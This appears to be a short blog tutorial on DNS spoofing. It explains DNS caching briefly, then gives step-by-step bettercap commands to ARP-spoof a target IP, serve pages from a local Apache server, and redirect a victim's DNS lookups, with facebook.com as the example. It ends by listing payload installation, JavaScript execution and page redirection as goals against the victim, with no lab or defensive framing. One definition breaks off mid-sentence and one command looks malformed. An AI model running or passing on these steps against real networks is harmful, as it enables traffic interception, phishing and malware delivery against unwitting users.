In this article I’m going to teach you DNS Spoofing. before that we should know what is DNS and DNS spoofing so read this below
A Domain Name System server translates a human-readable domain name (such as example.com
) into a numerical IP address that is used to route communications between nodes. Normally if the server does not know a requested translation it will ask another server, and the process continues recursively. To increase performance, a server will typically remember (cache) these translations for a certain amount of time. This means if it receives another request for the same translation, it can reply without needing to ask any other servers, until that cache expires
in simple words DNS spoofing, also referred to as DNS cache poisoning, is a form of computer security hacking in which corrupt Domain Name System data is introduced into
DNS Spoofing
Step 1:
First, you will need to run bettercap tool on your terminal so type this below command.
sudo bettercap -iface wlan0
Step 2:
Now type this below command’s on your bettercap terminal one by one
net.probe onnet.recon onset arp.spoof.fullduplex trueset arp.spoof.targets ( Your target IP )arp.spoof onset net.sniff.local truenet.sniff on
Step 3:
Once you type this above all commands then open new terminal and start your apache server so type this below command on your terminal.
sudo apache2 start
If start apache server on your terminal it will execute on your local IP address so you type your IP address on your browser so now you can see your server.
Now we replace this apache server in to any web server.
Step 4:
After that type this below command on your bettercap terminal. this command will help you to redirect all your victim request into your apache server
set dns.spoof.all
If you need to spoof particular domain means type this below type of command on your bettercap terminal.
Now I need to spoof facebook domain means
set dns.spoof.domains facebook.com,*.facebook.com
After type this above command on your terminal then enable dns.spoof module
dns.spoof on
- You can install any payload on victim device
- You can execute java script
- You can redirect any web page
إرسال تعليق